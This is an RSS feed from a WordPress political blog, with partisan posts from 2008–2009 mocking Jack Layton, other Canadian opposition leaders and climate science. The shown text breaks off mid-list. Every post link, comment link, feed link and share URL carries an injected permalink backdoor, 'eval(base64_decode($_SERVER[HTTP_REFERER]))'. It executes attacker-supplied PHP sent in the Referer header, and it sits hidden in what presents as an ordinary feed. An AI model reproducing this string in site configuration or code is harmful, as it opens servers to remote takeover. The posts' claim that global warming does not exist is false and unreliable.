<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>erwingerrits.com &#187; Layton</title>
	<atom:link href="http://www.erwingerrits.com/tag/layton/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.erwingerrits.com</link>
	<description>The eyes are open, the mouth moves, but Mr. Brain has long since departed.</description>
	<lastBuildDate>Wed, 12 May 2010 14:59:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>What Has It Got In Its Pocketses?</title>
		<link>http://www.erwingerrits.com/2009/01/30/what-has-it-got-in-its-pocketses/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2009/01/30/what-has-it-got-in-its-pocketses/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 30 Jan 2009 14:21:03 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Layton]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=756</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F01%2F30%2Fwhat-has-it-got-in-its-pocketses%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F01%2F30%2Fwhat-has-it-got-in-its-pocketses%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p><img class="alignnone size-full wp-image-758" title="my preciousss..." src="http://www.erwingerrits.com/wp-content/uploads/2009/01/precious1.gif" alt="my preciousss..." width="440" height="371" /></p>
<p><a href="http://www.ottawacitizen.com">h/t Cam @ Ottawa Citizen</a></p>
<p><a href="http://www.erwingerrits.com/wp-content/uploads/2009/01/precious.gif" rel="wp-prettyPhoto[g756]"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2009/01/30/what-has-it-got-in-its-pocketses/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Whose Highway Are We On, Exactly?</title>
		<link>http://www.erwingerrits.com/2009/01/28/whose-highway-are-we-on-exactly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2009/01/28/whose-highway-are-we-on-exactly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 28 Jan 2009 14:47:41 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Budget]]></category>
		<category><![CDATA[Harper]]></category>
		<category><![CDATA[Igantieff]]></category>
		<category><![CDATA[Layton]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=750</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F01%2F28%2Fwhose-highway-are-we-on-exactly%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2009%2F01%2F28%2Fwhose-highway-are-we-on-exactly%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>So the budget&#8217;s out. Billions and billions in spending and tax cuts. I would like more tax cuts than spending, but hey, we&#8217;re in a minority government and we can&#8217;t just do it our way. (I would also do away with 230 million for the Arts, but we all know how a measely $48 million worked out in the past).</p>
<p>This budget is obviously heavily geared towards appeasing the Liberals: moderate tax cuts, investments in jobs, subsidies, low income, infrastructure. It has nothing for the NDP because, well frankly, they would vote it down regardless, and they didn&#8217;t bring any suggestions to the table, so why would there be anything in there for the NDP? The Liberals didn&#8217;t bring anything official to the table, but at least they let everybody know what they would like in it, so I guess the CPC watched the evening news and got the message.</p>
<p>Layton, who sported a green tie matching his green brain, turned it down without even reading it. He didn&#8217;t like the fact the Throne Speech was less than four pages (he would rather drone on and on and on and waste a whole day on reading it) and so the budget couldn&#8217;t be much better. &#8220;The bad stuff in there is not good, and if there&#8217;s good stuff, we don&#8217;t trust them to actually implement it&#8221; is a wonderful stance to take Jackie! Has anybody ever told Jack the role of the opposition is not to just oppose everything the government does?</p>
<p>Jack wants <strong>his</strong> stuff in the budget, or he&#8217;ll vote against. I guess it&#8217;s &#8220;My Way or the Highway&#8221; for Jackie.</p>
<p>Iggy meanwhile, said he had to <span style="text-decoration: line-through;">look at the polls</span> sleep on it to see if the budget was good enough, and today he came back with some changes. He likes the budget, but it didn&#8217;t implement all of the Liberals suggestions, so there&#8217;s a <span style="text-decoration: line-through;">blackmail</span> ultimatum on the table.</p>
<p>Iggy wants <strong>his</strong> stuff in the budget, or he&#8217;ll vote against. I guess it&#8217;s &#8220;My Way or the Highway&#8221; for Iggy.</p>
<p>Gilles just dismissed it right out as &#8220;there&#8217;s nothing in there for us&#8221;, meaning no money for Quebec specifically, and as such, he can&#8217;t vote for it.</p>
<p>Gilles wants <strong>his</strong> stuff in the budget, or he&#8217;ll vote against. I guess it&#8217;s &#8220;My Way or the Highway&#8221; for Gilles.</p>
<p>It seems the only one not going the &#8220;My Way or the Highway&#8221; route is Harper, wich is ironic of course, since he&#8217;s the only one being accused of doing just that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2009/01/28/whose-highway-are-we-on-exactly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ms. May is in Poland &#8212; can she stay there, please?</title>
		<link>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 16:17:32 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Global arming]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=554</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F14%2F554%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F14%2F554%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>While the mercury in Ottawa got stuck overnight at -32 (I hear it is going to be -38 over in <a href="http://seanhblog.blogspot.com/2008/12/global-warming.html">Calgary</a>), a senior Environment Canada scientist is <a href="http://www.canada.com/topics/news/story.html?id=1069276">blasting the federal government</a> for causing a &#8220;public embarrassment for Canada&#8221; by preventing him from organizing a world gathering of experts on global warming. Don MacIver is the director of the Adaptation and Impacts Research Division at EC and was chairing a committee for the WMO (World Meteorological Organization) at the UN climate change summit in Poland, the same summit where <a href="http://www.erwingerrits.com/?p=501">Elizabeth May is peddling her Global Warming For Dummies book</a>. Senior bureaucrats scrapped the trip in a cost-cutting measure. I agree, sending our &#8220;scientists&#8221; to false UN summits on subjects that don&#8217;t exist is not in the tax payers&#8217; best interest. And if Elizabeth May is there, it can&#8217;t, by definition, be good for the taxpayers. According to Ms. May, delegates from other countries were &#8220;puzzled&#8221; by the cancellation of our committee chair&#8217;s address, and were left &#8220;wondering why it got cancelled&#8221; (that&#8217;s quite the &#8220;public embarrassment&#8221;). Earlier in the week, May was heard saying people at the summit had &#8221;burst into tears&#8221; when they heard Harper had prorogued parliament.</p>
<p>I guess what I am trying to say is that Ms. May is more of an embarrassment to Canada than any cancellation of any speech ever will.</p>
<p>This all comes on the heels of a report that <a href="http://cleantechnica.com/2008/09/11/could-melting-ice-caps-reduce-global-warming/">melting polar ice caps could actually help the fight against global warming</a>. Apparently, there is excessive plankton growth in the sea areas that are now ice free, creating a huge carbon sink.</p>
<p>And Jack Layton just <a href="http://www.ndp.ca/ecards/all-i-want-for-christmas">can&#8217;t give up</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/14/554/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>I paid to see me a high-divin&#8217; act&#8230;</title>
		<link>http://www.erwingerrits.com/2008/12/12/i-paid-to-see-me-a-high-divin-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/12/i-paid-to-see-me-a-high-divin-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 01:17:32 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=546</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F12%2Fi-paid-to-see-me-a-high-divin-act%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F12%2Fi-paid-to-see-me-a-high-divin-act%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>For all you <a href="http://www.erwingerrits.com/thatsmyboy.mp3">boomers</a> out there:</p>
<p><a href="http://www.erwingerrits.com/thatsmyboy.mp3"><img class="alignnone size-full wp-image-547" title="freep" src="http://www.erwingerrits.com/wp-content/uploads/2008/12/freep.jpg" alt="freep" width="300" height="400" border=0/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/12/i-paid-to-see-me-a-high-divin-act/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.erwingerrits.com/thatsmyboy.mp3" length="61824" type="audio/mpeg" />
		</item>
		<item>
		<title>Iggy &amp; the Stooges</title>
		<link>http://www.erwingerrits.com/2008/12/10/iggy-the-stooges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/10/iggy-the-stooges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 22:25:19 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Duceppe]]></category>
		<category><![CDATA[Ignatieff]]></category>
		<category><![CDATA[Layton]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=516</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F10%2Figgy-the-stooges%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F10%2Figgy-the-stooges%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p><img class="alignnone size-full wp-image-517" title="iggystooges" src="http://www.erwingerrits.com/wp-content/uploads/2008/12/iggystooges.jpg" alt="" width="500" height="317" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/10/iggy-the-stooges/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8220;I want my welfare&#8221; (formerly: &#8220;we need to work together&#8221;)</title>
		<link>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 15:31:26 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Harper]]></category>
		<category><![CDATA[Ignatieff]]></category>
		<category><![CDATA[Layton]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=452</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F28%2Fi-want-my-welfare-formerly-we-need-to-work-together%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F28%2Fi-want-my-welfare-formerly-we-need-to-work-together%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>The country is facing a recession, people of all stripes are cutting back on their expenses, some are losing money on their RRSPs, gauging (more like fleecing) at the pumps, people are losing jobs left and right, yet the Liberals, NDP and Bloc are against capping their salaries, cutting their expense accounts and want to hold on to their entitlements.  &#8220;We must work together to make this parliament work for the Canadian people&#8221; has changed to &#8220;I don&#8217;t want to give up my $1.95 per vote and a pay hike&#8221;. Thanks Jackie, Stephane and Gilles. Glad you&#8217;re working for us. Glad you&#8217;re chippin&#8217; in.<br />
<span id="more-452"></span><br />
Now it&#8217;s either another election with Mr. Money vs Mr. Broke, Mr. Poor and Mr. Stupid, or a coalition government between Mr. Am I Prime Minister now or Tuesday?, Mr. Kitchen Table and Mr. Separatist. Lovely.</p>
<p>These people live in such lala-land it is unbelievable.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>From my friend Jackie: &#8220;Give me more money!&#8221;</title>
		<link>http://www.erwingerrits.com/2008/11/19/from-my-friend-jackie-give-me-more-money/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/11/19/from-my-friend-jackie-give-me-more-money/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:38:16 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=437</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F19%2Ffrom-my-friend-jackie-give-me-more-money%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F19%2Ffrom-my-friend-jackie-give-me-more-money%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Yes, I received another email from my good friend Jack Layton this afternoon. After he chalked up his &#8220;historic gains this election&#8221;, he sat down with Mr. Harper and told him how to fix this economy thing, and, he says, he hopes Harper can put aside his petty partisan ways and listen to him. Jackie hopes Mr. Harper mentions the following suggestions in his throne speech:</p>
<ul>
<li>Cancelling the scheduled 2009 unconditional corporate tax giveaways;</li>
<li>Investing in the new energy economy to create jobs and fight climate change;</li>
<li>Investing in a national training strategy;</li>
<li>Cracking down on the banks receiving government support but still charging outrageous credit card and ATM fees;</li>
<li>Protecting pensions and RRSPs so that Canadians can sleep at night knowing their retirement is safe and secure.</li>
</ul>
<p>Jackie, don&#8217;t get me wrong, these are good suggestions. Really good, but I don&#8217;t think in this time of economic uncertainty that ATM fees are really all that important. Or fighting climate change. Or national training, whatever that is.</p>
<p>All throughout the letter my good friend Jackie mentions me and my family and how he wants to help us. All we have to do to weather this storm, is to &#8220;stick together and put family first&#8221;. On three occasions in the short letter my pal Jackie tells us how to accomplish this: by giving him some money. Just $20. That&#8217;s enough. But give &#8217;em more money!</p>
<p>My buddy Jackie is going to help me and my family weather this economic storm by taking more money out of our pockets!</p>
<p>I am richer for having such a good friend.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/11/19/from-my-friend-jackie-give-me-more-money/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Jackie, where are you?</title>
		<link>http://www.erwingerrits.com/2008/10/29/jackie-where-are-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/29/jackie-where-are-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 14:21:31 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=393</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F29%2Fjackie-where-are-you%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F29%2Fjackie-where-are-you%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Jack, I need you to tell me this is a <a href="http://www.erwingerrits.com/?p=26">global catastrophe</a>, and that something needs to be done! Snow on October 28th? Where are you?</p>
<p>We woke up to some 4 cm of snow today (I know, the STORM TEAM from A-News announced 15 cm yesterday, but hey, we&#8217;ve got that STORM TEAM all fitted out with the parkas and the ski-goggles, so we&#8217;ve got to use &#8216;em!), and, of course, Ottawa&#8217;s streets are filled with idiots who do not know how to drive. On my modest 20 minute drive to work I came across three cars in the ditch and one spinning out of control coming up to a stop sign you can see from four miles away. On top of that, there were numerous cars with the windshield &#8220;cleaned up&#8221; by windshield wiper instead of snow brush, leaving the driver to peer through two small half-moon holes in a white sea of snow. This was 4 cm of snow, people. Neither a STORM nor weather worthy of a WATCH or WARNING. Slow down, clean your car properly, watch your fellow road users and you can easily stay on the road.</p>
<p>And Dalton, never mind banning gadgets, how about banning idiots?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/29/jackie-where-are-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anything to Get Into Power</title>
		<link>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 15:02:52 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=251</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>This is the first election I&#8217;ve heard the opposition parties say: If the Conservatives win a strong minority or a slight majority that means they got 40% of the vote which means 60% of Canada did NOT vote for them. 60% of Canadians DO NOT WANT them. That means 60% of Canada voted for US and so we should govern.</p>
<p>So I did some research into <a href="http://www.sfu.ca/~aheard/elections/1867-2004.html">past elections </a>and, applying the above &#8216;rule&#8217;, where you don&#8217;t have the Canadian people&#8217;s blessing to govern if you don&#8217;t get more than 50% of the vote, the history of our country would have been quite different:<span id="more-251"></span></p>
<ul>
<li>1867: Conservative won with 50%, Macdonald can stay.</li>
<li>1872  Conservative won with 49.9%. <strong>Macdonald thrown out</strong>. Liberals and Other govern. (Blake PM)</li>
<li>1874: Liberals won with 53.8%. Mackenzie can stay.</li>
<li>1882: Conservative win with 53.4%. Macdonald can stay.</li>
<li>1887: Conservative win with 50.7%: Macdonald can stay.</li>
<li>1891: Conservative win with 52%. Macdonald can stay.</li>
<li>1896: Liberals win with 45.1%. <strong>Laurier thrown out</strong>. Conservative &amp; Order govern (Charles Tupper PM)</li>
<li>1900: Liberal win with 52%. Laurier can stay.</li>
<li>1904: Liberals win with 52.5%. Laurier can stay.</li>
<li>1908: Liberals win with 50.6%. Laurier can stay.</li>
<li>1911: Conservatives win with 51.2%. Borden can stay.</li>
<li>1917: Conservatives win with 57%. Borden can stay.</li>
<li>1921: Liberals win with 40.7%. <strong>Mackenzie King thrown out</strong>. Other and Conservatives govern. (Arthur Meighen PM)</li>
<li>1926: Liberals win with 43.6%. <strong>Mackenzie King rown out</strong>. Conservatives &amp; Other govern. (Arthur Meighen PM)</li>
<li>1930 Conservatives win with 49%. <strong>Bennett thrown out</strong>. Liberal &amp; Other govern. (Mackenzie King PM)</li>
<li>1935 Liberals win with 44.4%. <strong>Mackenzie King thrown out</strong>. Conservative, Social Credit &amp; Other govern.</li>
<li>1945: Liberals win with: 41.4%. <strong>Mackenzie King thrown out</strong>. Progressive Conservatives, CCF, Social Credit &amp; Other govern. (John Bracken PM)</li>
<li>1949: Liberals win with 50.1%. St-Laurent can stay.</li>
<li>1953: Liberals win with 50%. St-Laurent can stay.</li>
<li>1957: Progressive Conservatives win with 39%. <strong>Diefenbaker thrown out</strong>. Liberals, CCF, Social Credit &amp; Other govern. (St-Laurent PM)</li>
<li>1958: Progressive Conservatives win with 53.7%. Diefenbaker can stay.</li>
<li>1962: Progressive Conservatives win with 37.3%. <strong>Diefenbaker thrown out</strong>. Liberals, Social Credit, NDP &amp; Other govern.</li>
<li>1963: Liberals win with 41.7%. <strong>Pearson thrown out</strong>. PC, Social Credit, NDP &amp; Other govern. (Diefenbaker PM)</li>
<li>1972: Liberals win with 38.5%.<strong> Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1974: Liberals win with 43.2%. <strong>Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1979: PC win with 35.9%. <strong>Joe Clark thrown out.</strong> Liberal, NDP, SC &amp; Other govern. (Trudeau PM)</li>
<li>1980: Liberals win with 44.3%. <strong>Trudeau thrown out.</strong> PC, NDP, SC &amp; Other govern. (Joe Clark PM)</li>
<li>1984: PC win with 50%. Mulroney can stay.</li>
<li>1988: PC win with 43%. <strong>Mulroney thrown out.</strong> Liberals, NDP, SC &amp; Other govern. (Turner PM)</li>
<li>1993: Liberals win with 41.3%. <strong>Chretien thrown out. </strong>Bloc, Reform, NDP, PC &amp; Other govern. (<strong>Lucien Bouchard PM!!</strong>)</li>
